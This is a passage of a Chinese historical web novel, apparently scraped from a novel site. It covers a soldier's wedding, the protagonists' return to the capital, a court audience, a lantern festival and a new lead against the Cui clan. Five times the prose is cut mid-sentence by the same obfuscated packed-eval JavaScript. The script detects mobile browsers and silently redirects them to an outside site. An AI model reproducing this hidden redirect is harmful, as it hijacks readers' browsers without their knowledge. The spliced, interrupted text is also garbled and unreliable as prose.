“从今往后,你就是有家的人了,王猛是个值得托付的,你们往后要互相扶持,好好过日子。” “嗯!”苏婉重重点头,用力眨回眼里马上掉落的泪珠,扬起笑容,“谢谢夫人!没有您和国公爷,就没有婉儿的今天。我……我一定和王大哥好好过!” “这就对了。”李梵娘拿起一旁的胭脂为她涂抹,镜中的少女愈发娇艳明媚,眼底的幸福几乎要满溢出来。 与此同时,军营校场被简单布置成了礼堂。 没有过多的装饰,但打扫得一尘不染,正中央摆上了香案。 将士们个个换上了干净的军服,脸上都带着由衷的祝福和期待。 王猛今日也难得地脱下戎装,换上了一身深红色的衣袍。 这身衣服穿在他这常年披甲的身板上,显得有些紧绷和别扭,他脸上的笑容却格外灿烂,甚至有点儿傻。 他紧张得手脚都不知道该往哪里放,不停地搓着手,脸上泛着红光,嘴角咧到了耳根子,时不时就要抻一抻那并不存在的衣角。 “副将,您别晃了,晃得我眼晕!”一个相熟的校尉打趣道。 “就是!猛子哥,瞧您这出息!新娘子还没来呢,您就同手同脚了!”另一个老兵也跟着起哄。 周围顿时哄笑一片。 王猛也不恼,只是嘿嘿傻笑,露出一口白牙:“去去去!老子……老子这是高兴!” 他是真的高兴。那种从心底里涌出来的喜悦,冲散了他所有的紧张和窘迫。 他目光频频望向营门方向,期待着那个将他这颗百炼钢化为绕指柔的身影出现。 吉时将至,杜仁绍和李梵娘一同出现。 杜仁绍今日亦是一身常服,威严中带着几分温和。 李梵娘则一身藕荷色长裙,站在他身侧。 他们二人,今日一个是主婚人,一个是娘家人。 “来了来了!新娘子来了!”不知谁喊了一声。 所有人的目光齐刷刷投向营门。 只见苏婉蒙着红盖头,在李梵娘的搀扶下,一步步走了过来。 虽看不见面容,但周身洋溢的幸福与期待,却感染了在场的每一个人。 王猛瞬间屏住了呼吸,眼睛一眨不眨地看着那个向他走来的身影,只觉得心脏快要跳出来了,震得他耳膜嗡嗡作响。 在杜仁绍的主婚声中,以及在场所有人的见证下,王猛和苏婉开始拜堂。 “一拜天地!” “二拜高堂!”两人向着京城方向及杜仁绍李梵娘深深拜下。 “夫妻对拜!” 当王猛与苏婉对拜时,校场上响起了欢呼声。 许多铁血汉子眼中都带着感慨和祝福。 礼成后,杜仁绍上前,看着眼前这对新人,“王猛,苏婉。今日起,你们便是夫妻。望你们日后互敬互爱,同心同德,白首偕老。” 他又看向王猛,语气加重了几分,“猛子,成了家,便是真正的顶梁柱,战场上你是猛将,家中更需做担当重任的丈夫,莫要辜负了婉丫头的一片真心。” 王猛挺直腰板,抱拳,“末将谨记国公爷教诲!定不负婉儿!” 苏婉也在盖头下轻轻点头。 没有丰盛的宴席,只有炊事营备好的大桶肉羹和蒸饼,抬出了几坛子酒水。 杜仁绍特批今日可适量饮酒。 将士们轮流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512726|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前向新人道贺。 王猛小心翼翼地牵着苏婉的手,回应着弟兄们的祝福,脸上的傻笑就没消失过。 苏婉虽盖着盖头,但透过缝隙看着身边那人紧张又喜悦的模样,听着周围的祝福,心里甜得像浸在了蜜罐里。 这简单甚至有些粗糙的婚礼,却比任何奢华的仪式都更让人动容。 杜仁绍和李梵娘站在稍远处,看着被众人簇拥着的两人。 “真好。”李梵娘轻声感叹,“看到猛子这般模样,真替他高兴。” “是啊。”杜仁绍颔首,揽住她的肩,“这憨货总算有了着落,苏婉是个好姑娘,能管住他,也能暖着他的心。” 他说着,目光落在了北方天际。 欢闹声中,李梵娘察觉到杜仁绍情绪的变化,轻声问:“在想春儿了?” 杜仁绍收回目光看向她,叹了口气,将她揽得更紧了些:“嗯。有些想了。” “看到王猛成家,忽然格外想念咱们的春儿,出来这么久,不知她在京中一切可好?有没有长高?有没有闹脾气?” 李梵娘靠在他怀里,“我也想她了,还有玉萝那孩子,不知将教**局打理得如何……” “江南大局已定,后续事宜就让赵无咎和各地官员去处理吧,仁绍,我们……” 杜仁绍点头,“待明日为猛子他们贺过晨礼,我们便准备一下,后日一早启程返京。” 虽然为部下高兴,但他们对女儿的牵挂,已经按耐不住了。 第二日清晨。 王猛与苏婉早早起身,梳洗整齐,便来到杜仁绍与李梵娘的帐外等候,依礼行“贺晨礼”,敬献早茶。 苏婉已褪去嫁衣,换上了一身水红色的新衣,发髻挽起,眉眼间新妇的娇羞藏也藏不住。 王猛站在她身侧,依旧有些手足无措,眼睛时不时偷偷瞧一眼身旁的妻子,嘴角就控制不住地上扬。 李梵娘笑着接过茶喝了一口,又给了苏婉一支通透的玉簪做回礼,叮嘱了几句夫妻和睦、相互扶持的话。 杜仁绍也接了王猛的茶,一饮而尽,“我夫人把我的话说了,我就什么也不说了。” 第二百三十九章 回京 杜仁绍沉吟片刻,“猛子,江南这边差不多稳定下来了,赵无咎足以应对,我与夫人离家太久了,甚是挂念春儿,决定明日一早便启程返京。” 王猛闻言,脸上的笑容一僵,下意识地看向身旁的苏婉。 苏婉抬眼看向李梵娘,眼里满是不舍。 就在杜仁绍准备安排王猛留守时,王猛忽然猛地抱拳,声音带着急切:“国公爷!夫人!末将……末将恳请随行返京!” 杜仁绍挑眉:“嗯?你新婚燕尔,不在江南多陪陪婉丫头,急着回京作甚?留守也需要得力的人。” “国公爷!”王猛脸色涨红,“婉儿她……她已是末将的妻子,末将去哪儿,她自然去哪儿!” 他顿了顿,声音更低了些,“况且赵无咎一个人肯定处理,末将愿一路护送国公爷、夫人回京!” 苏婉也上前一步,“夫人,婉儿既已嫁与王大哥,便是他的人,他在何处,家便在何处。” “恳请夫人允准婉儿随行伺候!路上也好与夫人做个伴,继续跟夫人学习医术,不敢荒废。” 李梵娘与杜仁绍对视一眼,皆从对方眼中看到了些许意外。 杜仁绍笑骂一句:“你这憨货,倒是片刻离不得新媳妇了!” 李梵娘则笑着扶起苏婉:“也好,路上有你在身边,我也多个说话的人,只是这一路舟车劳顿,要辛苦你了。” 王猛见二人应允,大喜过望,连忙保证:“不辛苦不辛苦!末将定安排妥当,绝不内子扰了国公爷和夫人的行程!” 他一时还没适应“内子”这个称呼,说得有些磕巴,惹得苏婉红了脸。 杜仁绍点点头:“既如此,便去准备吧,轻车简从,明日卯时,码头集合。” “是!”王猛拉着苏婉行礼告退。 看着两人离去的背影,李梵娘轻笑摇头:“这猛子,成了亲,倒是瞬间开了窍,知道疼人了。” 杜仁绍也莞尔:“有人管着也好。走吧,我们也该收拾了,春儿怕是要等急了。” 第二日卯时,苏州码头笼罩在一层薄薄中。 数艘官船已准备就绪,旌旗在微风中飘动。 杜仁绍与李梵娘看着士兵们将最后的行装搬上船。 王猛在一旁大声指挥,与昨日那个紧张的新郎判若两人,只是目光总会不自觉地搜寻那个熟悉的身影,看到她时,眼神便瞬间柔和下来。 苏婉正跟在侍女身边,仔细检查几个装药材和医书的箱子。 “都齐备了?”杜仁绍沉声问。 “回国公爷,都好了,随时可以出发。”王猛抱拳回话。 杜仁绍点点头,目光扫过终于恢复平静的江南水乡,最后与李梵娘对视一眼。 “登船。” 一行人依次登船。 船夫解缆,长篙一点,官船离开码头,驶入江面。 两岸的稻田、村舍、青山飞速向后掠去。 杜仁绍与李梵娘站在船头。 “总算要回去了。”李梵娘轻声道。 “嗯。”杜仁绍握住她的手,“春儿怕是又长高了些,不知还认不认得我们这对总是不在身边的爹娘。” 李梵娘靠在他肩头,“怎么会不认得,每次回去,她扑向你的时候,比扑向我还快些。” 杜仁绍低笑,将她揽紧,“这次回去,希望能多陪陪她。” 船队日夜兼程,除了必要的补给,几乎不多做停留。 沿途州府官员闻讯,早有准备,想在码头迎候、设宴,均被杜仁绍以“圣命在身,归京心切”为由拒绝了,只接受了必要的补给,便继续赶路。 越往北,气候与江南的温润不同,风景也愈发熟悉。 十几日后,京城的轮廓终于出现。 巍峨的城墙,熟悉的钟楼…… 他们回来了。 船队在码头缓缓靠岸。 码头上,早就有宫中内侍等候。 “奉陛下口谕,恭迎镇国公、护国医仙娘娘凯旋!”为首的内侍高声说着。 杜仁绍与李梵娘整理了一下衣袍,走下船板。 “有劳公公。”杜仁绍颔首。 内侍笑容满面:“国公爷、娘娘一路辛苦,陛下闻听捷报,龙心大悦,特命咱家在此迎候。” “请二位先回府稍作休整,明日早朝,陛下将于太极殿召见,文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512727|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武百官皆至。” “臣,遵旨。”杜仁绍与李梵娘一起应着。 府里的马车早已等候在一旁。 王猛指挥着亲兵将东西全部小心搬运上车。 苏婉则紧跟在李梵娘身后,第一次来到天子脚下,看着京城的繁华与威严,眼里既有好奇也有紧张,小心翼翼地打量着一切。 杜仁绍对王猛吩咐道:“猛子,你先带婉儿回去安顿,这些证据,你亲自带人看管,明日我要带入宫中。” “是!末将明白!” 杜仁绍与李梵娘转身上了马车。 越是靠近家门,对女儿的思念便越是汹涌。 马车终于在府门前停下。 车门刚打开,一个小炮弹从门内冲了出来,声音带着哭腔 ,“爹爹!娘亲!” 春儿直直扑进刚下车的杜仁绍怀里,撞得他后退半步,随即哈哈大笑地将女儿高高举起。 “哎哟!我的春儿!想死爹爹了!” 李梵娘眼眶瞬间就红了,上前一遍遍摸她的头,“春儿……娘亲回来了……” 春儿搂着两人的脖子,眼泪汪汪,“你们怎么去了那么久……春儿好想你们……玉萝姐姐说你们去打坏人了,打赢了吗?” “打赢了,打赢了。”杜仁绍用胡茬蹭着女儿的小脸,惹得她咯咯直笑又连连躲闪。 玉萝站在门口,气质比他们离开时更沉稳,眼中含着泪,规规矩矩地行礼拜下:“师父,师公,你们回来了。” 李梵娘放下春儿,上前扶起她,“玉萝,辛苦你了,将春儿和家里都照顾得这么好。” “这是弟子分内之事。”玉萝微笑着,目光落在随后下车的苏婉身上,眼里带着询问。 李梵娘笑道:“这是苏婉,我在江南认下的妹妹,如今是王副将的夫人。” “婉儿,这是玉萝,我的大弟子。” 苏婉连忙上前见礼,玉萝也回礼,两人年纪相仿,很快便熟络起来。 全府上下一片欢腾。 晚饭时春儿不停的给人加菜,两人都是无奈的笑了笑吃下。 没办法,女儿心疼人,吃不下也得吃。 第二百四十章 进宫 次日,天未亮,镇国公府已是灯火通明。 杜仁绍换上朝服,不怒自威。 李梵娘则按品级穿戴好诰命夫人的冠服,庄重典雅。 两人在府门前对视一眼,无需多言。 “证据都装车了?”杜仁绍问候在一旁的王猛。 “回国公爷,都已经准备妥当,由末将亲自带人押送,紧随车驾。”王猛一身甲胄,神色肃穆。 “好。” 马车在薄雾中驶向皇城。 朱雀大街戒备森严,五步一岗,十步一哨。 到了宫门口,下车步行。 文武百官的队伍已井然有序,见到杜仁绍与李梵娘到来,纷纷投来各种目光,敬佩、探究、忌惮、好奇…… 杜仁绍目不斜视,与李梵娘一同在引路太监的带领下,走进太极殿。 皇帝李睿端坐在龙椅上。 “行跪拜礼——”内侍尖细的声音响起。 “吾皇万岁万岁万万岁!” “众卿平身。” “谢陛下!” 朝会按例进行,处理了一些日常政务后,皇帝的目光落在了杜仁绍和李梵娘身上。 “镇国公,护国医仙。” “臣在。”杜仁绍与李梵娘出列,躬身行礼。 “你们二人今日,便将详情细细奏来吧。” “臣,遵旨。” 杜仁绍上前一步,从抵达江南发现疫情异常开始奏报。 他并未过多渲染过程的惊险,而是冷静的将“云山亭”与江南部分世家、贪官、奸商勾结,利用鬼谷门邪术制造疫情、进行骇人听闻的人体试验、敛财囤兵、意图不轨的罪行一一道出。 随着他的叙述,殿内鸦雀无声,只有他的声音回荡。 百官们越听越是心惊,尤其是当听到那庞大的资金流向、渗透的官员名单、以及那些惨无人道的实验时,不少人脸色发白,冷汗涔涔。 “……臣与内子深入虎穴,查获其核心账册、成员名单、与鬼谷门及境外势力往来密信若干,相关主犯及从犯大部已擒获或伏诛,江南局势已初步稳定。” 杜仁绍说完便退回了原位。 李睿沉默了一会儿,“证据何在?” “启奏陛下,证据已在殿外,由臣之副将王猛看守。” “呈上来!” 几名殿前侍卫引着王猛抬着几个铁箱进入大殿。 箱子打开,里面是码放整齐的账册、名单、密信。 李睿示意内**部分关键证据呈上御案。 他随手翻看了几页,脸色愈发难看,一拍御案。 “砰!” 大臣们纷纷垂下头,不敢直视天颜。 “好一个‘云山亭’!好一群国之蠹虫!”李睿的声音带着火气,“食君之禄,不思报效,反而勾结妖人,祸国殃民!其心可诛!其罪当灭九族!” 他目光扫过殿下百官,特别是几个与名单上有所牵连的官员,那几人早已吓得抖若筛糠,几乎瘫在地上。 “杜仁绍,李梵娘,你二人临危受命,不负朕望,揪出此等阴谋,保江南千万黎民安危,功在社稷!” 皇帝的语气缓和下来,带着赞许,“朕,要重赏你们!” 内侍上前,展开早已备好的圣旨,高声宣读: “奉天承运,皇帝诏曰:镇国公杜仁绍,忠勇无双,智略深广……荡平江南逆乱,厥功至伟,特赐丹书铁券,赏黄金万两,锦缎千匹……” “护国医仙李梵娘,仁心圣手,慧眼明辨……抗疫救民,揭露奸谋,功莫大焉,赏黄金万两,珠宝首饰若干,京郊皇庄两座……” 赏赐的丰厚程度,令人咋舌。 “臣,谢主隆恩!万岁万岁万万岁!”杜仁绍与李梵娘叩首谢恩。 然而,李梵娘并未起身,她再次叩首:“陛下,臣妇尚有本奏。” “讲。” “陛下,此次江南之乱,‘云山亭’之所以能兴风作浪,皆是因为钻了医药流通监管不力的空子。臣妇斗胆,有一想法,或许可以防患于未然。” “哦?细细说来。”李睿表现的很感兴趣。 李梵娘将之前与杜仁绍商讨的“医药信息网”想法,清晰陈述出来。 她强调此举并不是为了限制医药流通,而是为了更好的惠民、防疫,并能及时察觉到可能被奸人利用的苗头,将隐患扼杀于萌芽。 朝堂之上,不少大臣暗自点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512728|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,尤其是太医署和户部的官员,觉得这个方法可以推行,利国利民。 李睿听完也是高兴的不得了,“善!大善!李夫人不仅医术通神,更有安邦定国的远见!此策准奏!” “即日起,便由李夫人牵头,协同太医署、户部、兵部、皇城司,共同细化这个办法,尽快推行全国!需要的人手、银钱,朕一律准予!” “臣妇遵旨!定不负陛下所托!”李梵娘再次叩首。 退朝的钟声响起。 杜仁绍与李梵娘在百官复杂的目光注视下,走出太极殿。 夫妻二人相视一笑,女儿还在等着他们。 宫门外,王猛早已等候多时,见二人出来,立刻迎上。 “国公爷,夫人,一切顺利?” “嗯。”杜仁绍颔首,“陛下圣明,东西移交皇城司入库封存即可。” “你也辛苦了,先回府休息吧,今日准你休假,好好陪陪婉丫头。” 王猛脸上露出憨笑:“谢国公爷!那末将先行告退!” 看着他脚步轻快离去的背影,李梵娘轻笑:“瞧把他高兴的。” “成了家的人,自然不一样。”杜仁绍语气有些感慨,随即握住她的手,“我们也回家。” 马车并未直接回府,而是绕道去了西市。 “先去‘桂芳斋’。”杜仁绍对车夫吩咐,然后转头对李梵娘解释,“春儿最爱吃他家的蜜渍杏脯和核桃酥。” 李梵娘眼中笑意更深:“难得你记得这么清楚。” “出来这么久,总得带点‘赎罪礼’哄哄那小祖宗。”杜仁绍摸了摸鼻子。 到了“桂芳斋”,杜仁绍让李梵娘坐着,自己下车买。 不一会儿便提了好几个油纸包回来,甜香瞬间盈满车厢。 “除了春儿爱的,还买了你喜欢的茯苓糕和玉萝常做的杏仁茶用的杏仁粉。”他将东西放好。 马车终于驶回府门口。 刚下车,就听到府内传来春儿的笑声和玉萝的说话声。 两人脚步不由加快。 绕过影壁,只见春儿正追着一只蝴蝶蝶在院子里跑,玉萝则含笑站在廊下看着,手里还拿着一件春儿的小斗篷。 第二百四十一章 花灯节 “爹爹!娘亲!” 春儿眼尖,一下子就看到了他们,蝴蝶也顾不上了,跑过来一头扎进杜仁绍怀里,又马上伸手抱住李梵娘的腿。 “你们可回来啦!下朝好久哦!”小姑娘仰着脸,嘴微微嘟起。 玉萝也快步上前,“师父,师公。” 玉萝目光落在杜仁绍手里的油纸包上,“师公又破费了。” 杜仁绍哈哈一笑,将点心递给玉萝:“路过桂芳斋,就买了些。春儿,看爹爹给你带什么了?” “哇!核桃酥!”春儿欢呼一声,迫不及待地拆开油纸,拿起一块就咬,吃得腮帮子鼓鼓的,满足地眯起眼。 “好吃!谢谢爹爹!” 午饭后,春儿扯着李梵娘的衣袖,眼睛扑闪扑闪:“娘亲娘亲,玉萝姐姐说,今晚朱雀街有花灯会!可热闹了!我们去看花灯好不好?” 李梵娘看向杜仁绍。 杜仁绍弯腰抱起女儿,用胡茬轻轻蹭了蹭她的脸:“好!爹爹和娘亲带春儿去看花灯!把玉萝姐姐也带上!” “好耶!”春儿搂住他的脖子。 玉萝在一旁忙道:“师公,弟子在家就好……” “一起去。”李梵娘拉住她的手,“难得热闹,你也该松快松快,这些日子闷坏了。” 玉萝轻轻点头:“是,师父。” 华灯初上,夜晚的京城褪去了白日的庄重,热闹无比 朱雀大街两旁,各中样式的花灯,莲花灯、兔子灯、走马灯……照得街道亮如白昼。 小贩的叫卖声、孩童的嬉笑声、猜灯谜的喝彩声交织在一起,格外热闹。 杜仁绍一手抱着春儿,一手握着李梵娘的手,玉萝则跟在李梵娘身侧。 这是她第一次看花灯节,再加上李梵娘他们不在的时候,不敢和春儿乱跑,怕有危险。 春儿在杜仁绍怀里兴奋得指着各式花灯:“爹爹看!那个鱼灯会吐泡泡!” “娘亲!那个大狮子头会动!” “玉萝姐姐!快看那个亮晶晶的葡萄灯!” “糖葫芦!爹爹,我要吃糖葫芦!”春儿眼尖地发现了一个扛着草靶子的小贩。 杜仁绍笑着答应,买了两串,一串给春儿,一串递给玉萝。 玉萝微微脸红,接过:“谢谢师公。” “出来玩,不必拘礼。”杜仁绍道。 春儿咬了一口,糖渣沾了满嘴。 李梵娘拿出帕子替她擦,眼里的温柔得能滴出水来。 人群熙攘,杜仁绍将李梵娘护得更紧了些,肩背为她隔开拥挤。 李梵娘看着他笑了笑,偶尔侧首与玉萝低语,或是认出某家药铺挂着的灯谜和什么药材有关。 “猜灯谜啦!猜中有彩头!”前面的一个灯棚围了不少人,老板大声吆喝着。 春儿立刻被吸引住了:“爹爹,我们去猜谜!” 挤进人群,只见一盏走马灯上挂着一排谜笺。 春儿看不懂字,急得直拽杜仁绍的衣领:“爹爹念!春儿要猜!” 杜仁绍失笑,念了一个:“‘小时胖乎乎,老来皮肉皱,吃掉它的肉,吐出红骨头’——打一果子。” 春儿眨巴着大眼睛,歪头想了想,“是枣子!娘亲教过!红枣!” 周围人发出一片笑声,老板也笑道:“小姑娘真聪明!奖你一盏小兔子灯!” 春儿欢喜地接过兔子灯,爱不释手,扬了扬下巴。 又猜了几个,杜仁绍看向一个略显不同的笺子,“‘夫人何处去’——猜一字。” 李梵娘闻言,微微一笑,并未作声。 玉萝皱眉思索着。 杜仁绍看向李梵娘,眼里带着询问。 李梵娘以指尖在他掌心轻轻一划。 杜仁绍反应过来,“可是一个‘二’字?‘夫’人何处去,去了‘人’,便是‘二’。” 老板拍手:“这位爷猜对了,彩头是一对儿鸳鸯莲花灯!” 那莲花灯做工精致,花瓣层叠,中间一对小鸳鸯依偎在一起,十分可爱。 杜仁绍接过,递给了李梵娘。 李梵娘接过,两人相视一笑,这家伙…… 春儿抱着她的兔子灯,看看爹爹,又看看娘亲,虽然不太明白,但也跟着傻呵呵地笑。 玉萝在一旁看着,感叹师傅师公感情好。 正走着,忽然听到有人叫他俩,“国公爷!夫人!真巧啊!” 回头看去,王猛拉着苏婉也挤在人群里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521753|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 王猛一身常服,苏婉则穿着水红色的新衣,发间簪着李梵娘送的那支玉簪,脸上红扑扑的。 “猛子,婉儿,你们也来了?”李梵娘笑道。 苏婉赶紧上前行礼,被李梵娘扶住:“出来玩,不讲这些虚礼。” 王猛挠挠头:“婉儿说没看过京城的灯会,俺就带她来瞧瞧热闹。” 苏婉看着李梵娘手中的鸳鸯灯,抿嘴笑:“夫人和国公爷真是恩爱。” 杜仁绍心情甚好,打趣道:“猛子,没给婉丫头赢盏花灯?” 王猛脸一红:“俺…俺粗人一个,不会猜那文绉绉的谜…” 苏婉挽住他的胳膊,“王大哥给我买了好多好吃的呢!”语气里满是满足。 两家人边走边聊。 春儿很快和苏婉玩到一起,分享着彼此的点心和花灯。 几人刚走到一处人不是很多的地方时,夜空中忽然绽开烟花,色彩绚烂,引来满城惊叹。 杜仁绍将春儿扛坐在肩头,让她能看得更远。 春儿睁大了眼睛。 李梵娘倚在杜仁绍身旁,仰头望着不断绽放又消散的烟火。 她忽然想起江南的腥风血雨,想起朝堂的暗流涌动。 所求不过如此:灯如昼,人长久,岁岁相伴。 杜仁绍似有所感,低下头,在她发顶轻轻落下一吻。 “回家了。”他在她耳边低语。 “嗯,回家。”李梵娘微笑着,握紧了他的手。 烟花结束,人群慢慢散了。 杜仁绍抱着已经昏昏欲睡的春儿,几人相互道别,各自向着家的方向走去。 两人并肩走在回府的路上,玉萝安静地跟在身后稍远处。 李梵娘轻轻拢了拢春儿滑落的斗篷,看着她恬静的睡颜。 “今日真是尽兴。”她轻声说道,语气带着满足。 “嗯。”杜仁绍低应一声,调整了一下姿势,让女儿睡得更安稳些,“春儿玩疯了,明日怕是要赖床。” 然而,这份宁静并未持续太久。 刚踏入府门,管家便快步上前,神色凝重,“国公爷,夫人,皇城司赵指挥使已在书房等候多时,说是有紧急要事禀报。” 第二百四十二章 崔家 杜仁绍与李梵娘对视一眼,方才的轻松惬意瞬间消散,眉头同时蹙起。 杜仁绍将春儿小心交给迎上来的张大娘,吩咐玉萝也先去休息。 “带他去偏厅,我等等就到。”杜仁绍沉声道。 他看向李梵娘,“一起去听听?” 李梵娘点头:“自然。” 书房内,烛火通明。 赵无咎整个人风尘仆仆的,显然一回京还没来得及缓口气就直接赶来。 他见杜仁绍和李梵娘进来,立刻起身行礼:“国公爷,夫人。” “坐。”杜仁绍摆手,径直走到主位坐下,“什么事情这么紧急?是江南的后续处理出了岔子?” 李梵娘也在杜仁绍下首坐了,目光沉静地看向赵无咎。 赵无咎从怀中取出一份加密封口的卷宗,双手呈上:“回国公爷、夫人,江南那边的审讯和抄没资产的清点初步完成,大部分与我们所掌握的情况吻合。” “但其中几条看似不起眼的资金流向和人员调动的线索,经过初步追查,最终的指向……。” 杜仁绍接过卷宗,拆开火漆,迅速浏览起来。 李梵娘也倾身过去,看着纸上的内容。 卷宗内的记录十分繁杂,包含了从顾家、百草集等多个被捣毁据点搜出的账册的片段、一些看似寻常的商铺往来凭据,甚至还有几封用语特别隐晦的书信抄本。 赵无咎在一旁解释道:“这些资金数额虽然大,但是流转特别隐蔽,通过十几家看似毫无关联的商号、钱庄层层洗白,最终汇进几个账户。” “虽经多次转手伪装,但是皇城司这边的账房先生连日核对,发现它的根源……似乎都和‘清河崔氏’的某些外围产业有关联。” “清河崔氏?”杜仁绍手一顿,抬起头。 就连李梵娘也吸了一口凉气,面色凝重起来。 清河崔氏,那可是真正的百年望族,绵延数朝,门生故吏遍布天下,世代清流,以诗礼传家著称。 在朝野上拥有极大的影响力和声望,他的根基和关系网,和顾家那种一地的豪强比起来强太多。 若“云山亭”的背后竟崔氏…… 那牵扯的范围之广、后果的严重程度,将远超他们在江南所经历的这一切。 赵无咎面色沉重地点头:“目前仅仅能查到一点蛛丝马迹,对方手段太过高明,几乎抹平了所有直接证据。” “但多条线索的旁证,都不约而同地隐约指向崔家。尤其是其中一笔用来采购海外某种稀有矿物的资金,最终兑付的银票与崔家旁支一位负责外务的大掌柜有关联。” “而这种矿物,根据夫人您提供的资料,极可能是鬼谷门某些邪术或利器所需的关键材料。” 他顿了顿,继续往下说,“此外,在审讯一名‘云山亭’的高级执事时,他虽然没有直接供出主使,但在精神崩溃的时候无意识地念叨过一句‘兰亭…玉章…’。” “我让人去查了,崔氏家主崔泓,字玉章,而且崔家核心子弟私下诗会唱和,常以‘兰亭’代指本家。” 书房内一时之间,只有烛火噼啪作响。 若说之前剿灭顾家等江南势力是斩断“云山亭”伸出的触手,那么现在发现的线索,则可能是真正的幕后之人。 对手的层级和实力,瞬间提升到了另一个高度。 “崔泓……”杜仁绍缓缓靠向椅背,手指无意识地敲着桌子。 “当朝太傅,天子之师,门生遍布六部,清流领袖……若真的是他,他图谋的绝不是金银权势那么简单。” 这样一个人物,若与“云山亭”、鬼谷门勾结,其野心恐怕是颠覆性的。 李梵娘沉吟片刻,“这件事必须谨慎,目前所有的证据都只是间接推测,稍有差池,不光打草惊蛇,还会引发朝堂震动,甚至可能被反咬一口,说我们构陷重臣。” 她看向赵无咎:“赵指挥使,这些线索,除了你,还有哪些人经手?知情面有多广?” 赵无咎立刻道:“夫人放心,所有追查都是卑职最信任的几个人单独进行的,信息严格分割,他们彼此不知全貌,最终汇总到我这里。” “呈送给国公爷的这份是绝密抄件,原件已存入皇城司绝密档案库,除陛下外,无人有权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521754|182915||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 调阅。” 杜仁绍赞许地点点头:“做得很好,这件事到此为止,所有调查转入地下,没有我的命令,暂缓一切对崔家的直接探查,尤其是崔泓本人绝不能碰。” “是!” “我们需要更直接的证据,一击必中的证据。” “崔家这棵大树,盘根错节,牵一发而动全身。若没有铁证,仅凭这些模糊的线索,根本动不了他分毫,反而会让我们陷入万劫不复。” 他沉思片刻,吩咐道:“无咎,你现在的任务有两个。” “一个是继续深挖现有的线索,但要转换思路,从外围入手,比如那个崔家旁支的掌柜,查他的社会关系、过往经历、有无弱点。” “第二是监控所有与崔家有关联的、可能被‘云山亭’利用的渠道,如药材、矿产、漕运、书局等,但要做得隐秘。” “明白!卑职这就去安排。”赵无咎领命。 “等等。”李梵娘忽然开口,“赵指挥使,那些从江南带回的邪门药材和实验记录,太医署和教**局正在分析。” “若有发现与某种特定药材只掌握在极少数人手中的药材或炼制方法,赶紧告知我,或许,能从药源上找到突破口。” “是!卑职记下了。”赵无咎拱手,见杜仁绍再无其他吩咐,便悄无声息地退出了书房。 书房内只剩下杜仁绍与李梵娘两人。 “清河崔氏……”杜仁绍喃喃自语,眉头紧锁,“真是他们吗?崔泓已经是文臣之首了,天子敬重,他还有什么不满足的?” 李梵娘走到他身边,将手放在他的肩上:“或许正是因已到了很高的地位,才会生出更疯狂的妄念。” “或者崔家内部也并非铁板一块?又或者我们看到的‘指向’,本身就是一个陷阱?” 杜仁绍握住她的手,“无论是什么,这潭水比我们想象的要深得多,也危险得多。陛下那边……” “陛下那边,暂时也隐瞒。”李梵娘分析,“目前证据没有说服力,贸然上奏,若最终查无实据,或者真是陷阱,陛下也会为难,我们需先掌握更多切实的东西。” 第二百四十三章 契机 杜仁绍叹了口气:“是啊。而且若真是崔泓……陛下对他一向敬重,情感上恐怕也一时半会儿接受不了。” 他站起身,走到窗边,望着窗外沉沉的夜色,“山雨欲来风满楼啊。我们在江南,怕是只掀开了冰山一角。” 